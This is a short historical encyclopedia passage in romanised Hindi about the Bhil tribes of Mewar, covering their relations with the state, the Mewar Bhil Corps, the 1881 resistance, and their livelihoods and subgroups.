meva d mean in jatiyoan ne rajy ki mahattvapoorn sevaean ki thian. prachin kal se hi rajy ke prati andhabhakti rakhane vale bhiloan ne yuddh ke samay mahattvapoorn sevaean dian. isalie meva d ke daravar mean inaka b da samman tha. meva d mean svachchhand samantik pravrittiyoan ke karan yah jati kalantar mean lootamar aur chori dvara apani jivika chalane lagi. rajy prashasan ne is par niyantran ke lie unhean 'bolaee' evan 'rakhavali' namak shulk vasool karane ka bhi adhikar de diya tha, phir bhi inaki luteri pravritti par niyantran sthapit nahian ho saka. antat inaki ghani bastiyoan vale kendr kherava da, kot da tatha devali mean chhavaniyaan banakar inhean sainik karyoan mean lagane ka nishchay kiya gaya tatha 'meva d bhil kor' ki sthapana ki gee. varsh 1881 ee. me rana sajjan sianh ke shasan dvara inake jati-niyamoan, paramparaee arthik adhikaroan mean adhikarik hastakshep ke karan sampoorn bhil jati ne rajy ka prabal virodh kiya. antat: jati niyamoan v adhikaroan ko yathavat rakha gaya.

adivasi jatiyoan ka mukhy vyavasay kheti karana tatha jangali vastuoan ko ekatr kar nagar tatha kasbe mean bechana tha. gramin bastiyoan ke as pas rahane vale adivasi gaanvoan mean begar karake apana jivan-nirvah karate the. usake badale mean gramin unhean anaj ke roop mean bhatta dete the. orana, panarava aur javas ke bhil apane ko rajapoot tatha bhiloan ki mishrit santan manate the. inaki shakha-prashakha rajapootoan se milati-julati rahi thi. inhean grasiya athava momiya bhil kaha jata tha. samajik staran mean ye any bhiloan se uchch mane jate the, lekin khan-pan aur vivah sambandhoan mean ye any bhiloan ke saman hi the.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

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